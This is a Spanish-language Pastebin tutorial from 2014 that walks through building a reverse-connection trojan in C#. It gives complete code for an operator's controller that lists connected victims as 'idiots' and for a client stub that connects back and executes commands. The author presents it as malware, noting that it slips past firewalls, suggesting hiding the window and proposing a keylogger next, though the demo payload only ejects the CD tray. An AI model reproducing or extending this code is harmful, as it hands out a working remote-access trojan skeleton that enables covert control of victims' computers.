Advertisement
Doddy

[C#] Creacion de un troyano de conexion inversa

Oct 31st, 2014
589
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 14.11 KB | None | 0 0
  1. [Titulo] : Creacion de un Troyano de Conexion Inversa
  2. [Lenguaje] : C#
  3. [Autor] : Doddy Hackman
  4.  
  5. [Temario]
  6.  
  7. -- =================--------
  8.  
  9. 0x01 : Introduccion
  10. 0x02 : Creacion del servidor
  11. 0x03 : Creacion del cliente
  12. 0x04 : Probando el programa
  13. 0x05 : Bibliografia
  14.  
  15. -- =================--------
  16.  
  17. 0x01 : Introduccion
  18.  
  19. Un troyano de conexion inversa es aquel en el que el administrador del troyano es el servidor y la
  20. victima es el cliente , eso nos ayuda para que no le salte el firewall a la victima cuando ejecute aunque va a saltar el antivirus de todas formas si es server se vuelve conocido , los troyanos de conexion inversa es la forma moderna en la que aparecen todos los troyanos nuevos.
  21. Al principio no encontraba ni ejemplos ni manuales de como hacer uno de troyano de conexion inversa en C# pero gracias a un ejemplo llamado "Reverse Connection RAT Example" hecho por xSilent de hackhound logre entender el funcionamiento
  22.  
  23. Sabiendo todo esto vamos hacer uno en C# con Visual Studio 2010.
  24.  
  25. Comencemos ...
  26.  
  27. 0x02 : Creacion del servidor
  28.  
  29. Primero vamos a crear el servidor de la siguiente forma con visual studio :
  30.  
  31. [img]http://doddyhackman.webcindario.com/images/maketroy1csharp.jpg[/img]
  32.  
  33. Una vez creado el proyecto pongan lo siguientes namespaces al inicio del codigo :
  34.  
  35. [code]
  36. using System.Threading; // Lo usamos para poder manejar los hilos
  37. using System.Net.Sockets; // Lo usamos para poder crear la conexion
  38. using System.Net; // Lo usamos para poder crear la conexion
  39. using System.Text.RegularExpressions; // Lo usamos para buscar en los strings usando expresiones regulares
  40. [/code]
  41.  
  42. Despues pongan las siguientes variables gobales al inicio del codigo :
  43.  
  44. [code]
  45. TcpListener tcp_server; // Establecemos la variable tcp_server como TcpListener
  46. Thread thread_server; // Establecemos la variable thread_server Thread
  47. [/code]
  48.  
  49. Ahora vamos a crear una clase llamada ServerManager con el siguiente codigo :
  50.  
  51. [code]
  52. // Server Manager
  53. // Coded By Doddy Hackman
  54. // Credits :
  55. // Rat Based on : http://www.hackforums.net/showthread.php?tid=827069v
  56. // Thanks to xSilent
  57.  
  58. using System;
  59. using System.Collections.Generic;
  60. using System.Text;
  61. using System.Net.Sockets; // Para el manejo de sockets
  62. using System.IO; // Para el manejo de Streams
  63. using System.Windows.Forms; // Para el manejo de formularios
  64. using System.Text.RegularExpressions; // Para el manejo de expresiones regulares
  65.  
  66. namespace server
  67. {
  68. class ServerManager
  69. {
  70. public TcpClient manager; // Variable global para manejar el cliente
  71. public string ip; // Variable global para tener la IP
  72.  
  73. public delegate void cargando_datos(ServerManager manager, string Message);
  74. public event cargando_datos evento_panel_control_now;
  75.  
  76. public ServerManager(TcpClient manager)
  77. {
  78. this.manager = manager;
  79. string datos = manager.Client.RemoteEndPoint.ToString(); // Cargamos los datos de la conexion
  80. Match regex = Regex.Match(datos, "(.*):(.*)", RegexOptions.IgnoreCase); // Dividimos la ip y el puerto
  81. if (regex.Success) // Si se encontro ...
  82. {
  83. ip = regex.Groups[1].Value; // Guardamos la IP
  84.  
  85. }
  86.  
  87. manager.GetStream().BeginRead(new byte[] { 0 }, 0, 0, leo_al_idiot, null); // Seguimos leyendo
  88. }
  89. void leo_al_idiot(IAsyncResult contenido_leyendo)
  90. {
  91. try
  92. {
  93. StreamReader leyendo_now = new StreamReader(manager.GetStream()); // Leemos los datos de la conexion
  94. string mensaje_leyendo_now = leyendo_now.ReadLine(); // Cargamos los datos de la conexión en la variable string
  95. evento_panel_control_now(this, mensaje_leyendo_now); // Mandamos a la funcion los datos leidos con la variable string
  96. manager.GetStream().BeginRead(new byte[] { 0 }, 0, 0, leo_al_idiot, null); // Recargamos los datos
  97. }
  98. catch
  99. {
  100. //
  101. }
  102.  
  103. }
  104.  
  105. public void respondo_al_idiot(string mensaje_now)
  106. {
  107. try
  108. {
  109. StreamWriter te_mando_now = new StreamWriter(manager.GetStream()); // Creamos el stream para responder al cliente
  110. te_mando_now.WriteLine(mensaje_now); // Mandamos la respuesta
  111. te_mando_now.Flush(); // Refrescamos el buffer
  112. }
  113. catch
  114. {
  115. //
  116. }
  117. }
  118.  
  119. }
  120. }
  121.  
  122. // The End ?
  123. [/code]
  124.  
  125. El formulario del servidor lo vamos hacer de la siguiente forma :
  126.  
  127. [+] 1 ListView con una columna que tiene de texto "Idiots Found" y ponen la propiedad "View" en "Details"
  128. [+] 3 Botones con el siguiente texto "Online","OpenCD","Close CD"
  129.  
  130. Les tiene que quedar algo asi :
  131.  
  132. [img]http://doddyhackman.webcindario.com/images/makeguicsharp.jpg[/img]
  133.  
  134. Una vez hecho esto hacemos doble click en el primer boton llamado "Online" para poner el siguiente codigo :
  135.  
  136. [code]
  137. private void button1_Click(object sender, EventArgs e)
  138. {
  139. int port = 666; // Establecemos la variable port como int con el valor de 666 para usar como numero de puerto
  140. tcp_server = new TcpListener(IPAddress.Any, port); // Establecemos la conexion con el puerto usando tcp_server
  141. thread_server = new Thread(panel_control); // Establecemos el hilo thread_server para poder leer los datos
  142. thread_server.Start(); // Iniciamos el hilo thread_server
  143. }
  144. [/code]
  145.  
  146. Despues del codigo del boton agreguen el siguiente codigo :
  147.  
  148. [code]
  149. public void panel_control()
  150. {
  151. tcp_server.Start(); // Iniciamos el servidor
  152. while (true) // Bucle eterno para poder enviar y recibir datos de la conexion
  153. {
  154. ServerManager socket_server_now = new ServerManager(tcp_server.AcceptTcpClient()); // Aceptamos la conexion entrante
  155. socket_server_now.evento_panel_control_now += new ServerManager.cargando_datos(evento_panel_control); // Usamos la clase ServerManager para manejar
  156. // los datos de la conexion pendiente
  157. }
  158. }
  159.  
  160. void evento_panel_control(ServerManager vengo,string data)
  161. {
  162. Match regex = Regex.Match(data, "-ACATOY-LLEGUE-ACATOY-", RegexOptions.IgnoreCase); // Usamos la expresion regular
  163. // para controlar que se encuentre
  164. // el texto "-ACATOY-LLEGUE-ACATOY-" en la variable string data
  165. if (regex.Success) // Si se encuentra ...
  166. {
  167. Invoke(new _NewIdiot(NewIdiot),vengo); // Llamamos la funcion NewIdiot para agregar un cliente mas
  168. }
  169.  
  170. regex = Regex.Match(data, "-RtaCommand-(.*)-RtaCommand-", RegexOptions.IgnoreCase); // Si encontramos una respuesta
  171. // enviada por el servidor usamos la expresion regular para extraer la respuesta del servidor que esta entre los dos
  172. // -RtaCommand-
  173. if (regex.Success) // Si se encuentra ...
  174. {
  175. MessageBox.Show("[+] Status : "+regex.Groups[1].Value); // Mostramos la respuesta en MessageBox
  176. }
  177. }
  178.  
  179. delegate void _NewIdiot(ServerManager vengo);
  180. void NewIdiot(ServerManager vengo)
  181. {
  182. ListViewItem agregar = new ListViewItem(); // Creamos un item nuevo con la variable agregar
  183. agregar.Text = vengo.ip; // Agregamos como texto la IP
  184. agregar.Tag = vengo; // Agregamos como Tag los datos de "vengo"
  185. listView1.Items.Add(agregar); // Agregamos el nuevo item a la lista
  186. }
  187. [/code]
  188.  
  189. Todos estos pasos les deberia quedar asi :
  190.  
  191. [img]http://doddyhackman.webcindario.com/images/codigo1troycsharp.jpg[/img]
  192.  
  193. Ahora vamos hacer doble click el segundo boton que tiene como texto "OpenCD" para poner el siguiente codigo :
  194.  
  195. [code]
  196. ServerManager manager = (ServerManager)listView1.Items[listView1.FocusedItem.Index].Tag; // Capturamos el tag
  197. // del item seleccionado por el usuario
  198. manager.respondo_al_idiot("-Command-OpenCD-Command-"); // Mandamos la orden OpenCD al infectado seleccionado en el
  199. // listView
  200. [/code]
  201.  
  202. Despues vamos agregar el siguiente codigo al segundo boton con texto "CloseCD" :
  203.  
  204. [code]
  205. ServerManager manager = (ServerManager)listView1.Items[listView1.FocusedItem.Index].Tag; // Capturamos el tag
  206. // del item seleccionado por el usuario
  207. manager.respondo_al_idiot("-Command-CloseCD-Command-"); // Mandamos la orden CloseCD al infectado seleccionado en el
  208. // listView
  209. [/code]
  210.  
  211. Les deberia quedar algo asi los dos botones :
  212.  
  213. [img]http://doddyhackman.webcindario.com/images/codigo2troycsharp.jpg[/img]
  214.  
  215. Eso seria todo en el servidor.
  216.  
  217. 0x03 : Creacion del cliente
  218.  
  219. Ahora pasamos al cliente , para eso creamos un proyecto nuevo de la siguiente forma :
  220.  
  221. [img]http://doddyhackman.webcindario.com/images/maketroy2csharp.jpg[/img]
  222.  
  223. Una vez creado el proyecto establecemos los siguientes namespaces al inicio del codigo de la sguiente forma :
  224.  
  225. [code]
  226. using System.Net.Sockets; // Lo usamos para el manejo de sockets
  227. using System.Net; // Lo usamos para el manejo de sockets
  228. using System.IO; // Lo usamos para el manejo de streams
  229. using System.Runtime.InteropServices; // Lo usamos para poder usar la funcion de abrir y cerrar la lectora
  230. using System.Text.RegularExpressions; // Lo usamos para las expresiones regulares
  231. [/code]
  232.  
  233. Despues de eso establecemos las siguientes variables globales con el siguiente codigo :
  234.  
  235. [code]
  236. [DllImport("winmm.dll", EntryPoint = "mciSendStringA")] // Importamos la dll winmm.dll para poder usar mciSendStringA
  237. public static extern void mciSendStringA(string comandonow, string retornonow, long longitudnow, long callbacknow);
  238. // Establecemos la funcion mciSendStringA para poder abrir y cerrar la lectora
  239. static TcpClient conexion_con_el_server = new TcpClient(); // Declaramos como static la variable TcpClient de conexion_con_el_server
  240. static IPEndPoint datos_para_la_conexion_con_el_server = null; // Declaramos como static la variable datos_para_la_conexion_con_el_server de tipo
  241. // IPEndPoint y la seteamos como null
  242. [/code]
  243.  
  244. Ahora vamos al evento Load del formulario y ponemos el siguiente codigo :
  245.  
  246. [code]
  247. datos_para_la_conexion_con_el_server = new IPEndPoint(IPAddress.Parse("127.0.0.1"), 666); // Establecemos la variable datos_para_la_conexion_con_el_server
  248. // como IPEndPoint con el valor de la IP y el puerto
  249. entrar_al_servidor(); // Realizamos la conexion
  250. [/code]
  251.  
  252. Despues del codigo del Load del formulario agregamos estas tres funciones vitales para la conexion las cuales manejan el tema de enviar y recibir datos del servidor :
  253.  
  254. [code]
  255. public static void entrar_al_servidor()
  256. {
  257. try
  258. {
  259. conexion_con_el_server.Connect(datos_para_la_conexion_con_el_server); // Conectamos al servidor con los datos del server
  260. enviar_respuesta("-ACATOY-LLEGUE-ACATOY-"); // Enviamos el mensaje ACATOY al servidor para decirle que hay un nuevo idiot
  261. conexion_con_el_server.GetStream().BeginRead(new byte[] { 0 }, 0, 0,leer_datos_del_servidor, null); // Capturamos todos los datos provenientes
  262. // de la conexion y los vemos mejor en la funcion leer_datos_del_servidor
  263. }
  264. catch
  265. {
  266. //
  267. }
  268. }
  269.  
  270. public static void leer_datos_del_servidor(IAsyncResult now)
  271. {
  272. try
  273. {
  274. StreamReader abriendo_conexion = new StreamReader(conexion_con_el_server.GetStream()); // Usamos la variable abriendo_conexion
  275. // de tipo StreamReader para poder leer los datos que vienen
  276. string contenido = abriendo_conexion.ReadLine(); // Ponemos los datos la conexion en la variable string contenido
  277.  
  278. Match regex = Regex.Match(contenido, "-Command-OpenCD-Command-", RegexOptions.IgnoreCase); // Usamos la expresion regular
  279. // para verificar que nos envien la orden OpenCD
  280. if (regex.Success) // Si pasa ...
  281. {
  282. mciSendStringA("set CDAudio door open", "", 127, 0); // Usamos mciSendStringA para abrir la lectora
  283. enviar_respuesta("-RtaCommand-OpenCD OK-RtaCommand-"); // Le decimos al servidor que todo salio bien aunque nunca verifique nada xD
  284. }
  285.  
  286. regex = Regex.Match(contenido, "-Command-CloseCD-Command-", RegexOptions.IgnoreCase); // Usamos la expresion regular CloseCD para verificar que
  287. // nos envien la orden de CloseCd
  288. if (regex.Success) // Si pasa ...
  289. {
  290. mciSendStringA("set CDAudio door closed", "", 127, 0); // Usamos mciSendStringA para cerrar la lectora
  291. enviar_respuesta("-RtaCommand-CloseCD OK-RtaCommand-"); // Le decimos al servidor que todo salio bien
  292. }
  293.  
  294. conexion_con_el_server.GetStream().BeginRead(new byte[] { 0 }, 0, 0,leer_datos_del_servidor, null); // Actualizamos los datos de la conexion
  295. }
  296. catch
  297. {
  298. //
  299. }
  300. }
  301.  
  302. public static void enviar_respuesta(string texto)
  303. {
  304. try
  305. {
  306. StreamWriter enviar_respuesta_now = new StreamWriter(conexion_con_el_server.GetStream()); // Declaramos la variable enviar_respuesta_now
  307. // como StreamWriter para poder mandar un mensaje
  308. enviar_respuesta_now.WriteLine(texto); // Mandamos el mensaje que tienen la variable string y argumento "texto"
  309. enviar_respuesta_now.Flush(); // Seteamos para que el mensaje se envie correctamente
  310. }
  311. catch
  312. {
  313. //
  314. }
  315. }
  316. [/code]
  317.  
  318. Con eso ya estaria listo el cliente.
  319.  
  320. 0x04 : Probando el programa
  321.  
  322. Como ven no estan sencillo como en delphi pero esto es la base de un troyano de conexion inversa terminado desde ahi pueden agregar varias funciones como un keylogger , muy pronto voy a publicar la version en C# de mi DH Rat.
  323. Para probar el programa carguen el servidor que vendria a ser el administrador de infectados , hagan click en el boton "Online" para activar el servidor , entonces abran el cliente que vendria a ser el stub infectado para la victima y veran un form vacio , despues pueden hacer invisible el form si quieren hacer el troyano decente , despues de eso si todo salio bien veran en el listview la ip de ustedes , entonces seleccionen la ip en el listview y hagan click en los botones de abrir y cerrar la lectora para comprobar que realmente funciona.
  324.  
  325. Unas imagenes de como funciona :
  326.  
  327. [img]http://doddyhackman.webcindario.com/images/ratexample1.jpg[/img]
  328.  
  329. [img]http://doddyhackman.webcindario.com/images/ratexample2.jpg[/img]
  330.  
  331. [img]http://doddyhackman.webcindario.com/images/ratexample3.jpg[/img]
  332.  
  333. Eso seria todo.
  334.  
  335. 0x05 : Bibliografia
  336.  
  337. http://www.hackforums.net/showthread.php?tid=827069
  338. http://0six.wordpress.com/2011/04/03/c-rattcp-connection-tutorial/
  339.  
  340. --========--
  341. The End ?
  342. --========--
  343.  
  344. [URL=http://doddyhackman.webcindario.com/descargas/keylogger_csharp.pdf]Version PDF[/URL].
  345.  
  346. [URL=http://www.youtube.com/watch?v=tqgzL5rKkHA]Version VideoTutorial[/URL].
  347.  
  348. Eso es todo.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement